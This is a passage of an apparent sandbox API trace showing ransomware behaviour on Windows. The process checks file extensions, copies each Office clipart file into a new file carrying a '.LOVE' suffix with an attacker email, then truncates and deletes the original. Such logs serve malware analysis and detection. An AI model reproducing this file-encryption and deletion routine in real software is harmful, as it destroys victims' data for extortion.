[0212.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString=".7z") returned 3 [0212.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString=".dbf") returned 4 [0212.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString=".1cd") returned 4 [0212.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString=".jpg") returned 4 [0212.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString=".doc") returned 4 [0212.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString=".docx") returned 5 [0212.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0212.711] lstrlenW (lpString=".pdf") returned 4 [0212.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.711] lstrlenW (lpString=".xls") returned 4 [0212.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.711] lstrlenW (lpString=".xlsx") returned 5 [0212.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0212.711] lstrlenW (lpString=".ppt") returned 4 [0212.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.711] lstrlenW (lpString=".zip") returned 4 [0212.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.711] lstrlenW (lpString=".rar") returned 4 [0212.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.711] lstrlenW (lpString=".bz2") returned 4 [0212.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.711] lstrlenW (lpString=".7z") returned 3 [0212.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.711] lstrlenW (lpString=".dbf") returned 4 [0212.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.711] lstrlenW (lpString=".1cd") returned 4 [0212.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.711] lstrlenW (lpString=".jpg") returned 4 [0212.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.711] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0212.711] lstrlenW (lpString="DD00261_.WMF") returned 12 [0212.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0212.712] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=37974) returned 1 [0212.712] CloseHandle (hObject=0x37c) returned 1 [0212.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0212.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0212.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0212.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0212.712] GetLastError () returned 0x0 [0212.712] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x9456, lpOverlapped=0x0) returned 1 [0213.450] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x9460, lpOverlapped=0x0) returned 1 [0213.452] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.452] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.452] SetEndOfFile (hFile=0x300) returned 1 [0213.452] CloseHandle (hObject=0x300) returned 1 [0213.454] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.454] SetEndOfFile (hFile=0x37c) returned 1 [0213.455] CloseHandle (hObject=0x37c) returned 1 [0213.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0213.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0217.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.493] lstrlenW (lpString=".doc") returned 4 [0217.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.493] lstrlenW (lpString=".docx") returned 5 [0217.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.493] lstrlenW (lpString=".pdf") returned 4 [0217.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.493] lstrlenW (lpString=".xls") returned 4 [0217.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.493] lstrlenW (lpString=".xlsx") returned 5 [0217.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.493] lstrlenW (lpString=".ppt") returned 4 [0217.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.493] lstrlenW (lpString=".zip") returned 4 [0217.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.493] lstrlenW (lpString=".rar") returned 4 [0217.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.493] lstrlenW (lpString=".bz2") returned 4 [0217.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.493] lstrlenW (lpString=".7z") returned 3 [0217.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.493] lstrlenW (lpString=".dbf") returned 4 [0217.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.494] lstrlenW (lpString=".1cd") returned 4 [0217.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.494] lstrlenW (lpString=".jpg") returned 4 [0217.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.494] lstrlenW (lpString=".doc") returned 4 [0217.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString=".docx") returned 5 [0217.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.494] lstrlenW (lpString=".pdf") returned 4 [0217.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString=".xls") returned 4 [0217.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.494] lstrlenW (lpString=".xlsx") returned 5 [0217.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.494] lstrlenW (lpString=".ppt") returned 4 [0217.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.494] lstrlenW (lpString=".zip") returned 4 [0217.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.494] lstrlenW (lpString=".rar") returned 4 [0217.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString=".bz2") returned 4 [0217.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.494] lstrlenW (lpString=".7z") returned 3 [0217.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.494] lstrlenW (lpString=".dbf") returned 4 [0217.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.495] lstrlenW (lpString=".1cd") returned 4 [0217.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0217.495] lstrlenW (lpString=".jpg") returned 4 [0217.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.495] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0217.495] lstrlenW (lpString="DD00419_.WMF") returned 12 [0217.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0217.545] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=712) returned 1 [0217.545] CloseHandle (hObject=0x380) returned 1 [0217.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0217.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0217.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0217.545] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.545] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0217.546] GetLastError () returned 0x0 [0217.546] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0217.546] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0217.547] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.547] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.547] SetEndOfFile (hFile=0x320) returned 1 [0217.547] CloseHandle (hObject=0x320) returned 1 [0217.548] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.548] SetEndOfFile (hFile=0x380) returned 1 [0217.548] CloseHandle (hObject=0x380) returned 1 [0217.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0217.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.549] lstrlenW (lpString=".doc") returned 4 [0217.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.549] lstrlenW (lpString=".docx") returned 5 [0217.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.549] lstrlenW (lpString=".pdf") returned 4 [0217.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.549] lstrlenW (lpString=".xls") returned 4 [0217.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.549] lstrlenW (lpString=".xlsx") returned 5 [0217.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.549] lstrlenW (lpString=".ppt") returned 4 [0217.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString=".zip") returned 4 [0217.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.550] lstrlenW (lpString=".rar") returned 4 [0217.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString=".bz2") returned 4 [0217.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString=".7z") returned 3 [0217.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString=".dbf") returned 4 [0217.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString=".1cd") returned 4 [0217.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString=".jpg") returned 4 [0217.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString=".doc") returned 4 [0217.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString=".docx") returned 5 [0217.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.550] lstrlenW (lpString=".pdf") returned 4 [0217.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString=".xls") returned 4 [0217.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.550] lstrlenW (lpString=".xlsx") returned 5 [0217.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.550] lstrlenW (lpString=".ppt") returned 4 [0217.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.550] lstrlenW (lpString=".zip") returned 4 [0217.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.551] lstrlenW (lpString=".rar") returned 4 [0217.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.551] lstrlenW (lpString=".bz2") returned 4 [0217.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.551] lstrlenW (lpString=".7z") returned 3 [0217.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.551] lstrlenW (lpString=".dbf") returned 4 [0217.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.551] lstrlenW (lpString=".1cd") returned 4 [0217.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0217.551] lstrlenW (lpString=".jpg") returned 4 [0217.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.551] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0217.551] lstrlenW (lpString="DD00437_.WMF") returned 12 [0217.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0217.551] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1932) returned 1 [0217.551] CloseHandle (hObject=0x380) returned 1 [0217.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0217.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0217.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0217.552] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.552] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0217.552] GetLastError () returned 0x0 [0217.552] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x78c, lpOverlapped=0x0) returned 1 [0217.831] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x790, lpOverlapped=0x0) returned 1 [0217.832] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.832] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.832] SetEndOfFile (hFile=0x320) returned 1 [0217.832] CloseHandle (hObject=0x320) returned 1 [0217.833] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.833] SetEndOfFile (hFile=0x380) returned 1 [0217.834] CloseHandle (hObject=0x380) returned 1 [0217.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0217.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.835] lstrlenW (lpString=".doc") returned 4 [0217.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.835] lstrlenW (lpString=".docx") returned 5 [0217.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.835] lstrlenW (lpString=".pdf") returned 4 [0217.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.835] lstrlenW (lpString=".xls") returned 4 [0217.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.835] lstrlenW (lpString=".xlsx") returned 5 [0217.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.835] lstrlenW (lpString=".ppt") returned 4 [0217.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.836] lstrlenW (lpString=".zip") returned 4 [0217.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.836] lstrlenW (lpString=".rar") returned 4 [0217.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString=".bz2") returned 4 [0217.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString=".7z") returned 3 [0217.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.836] 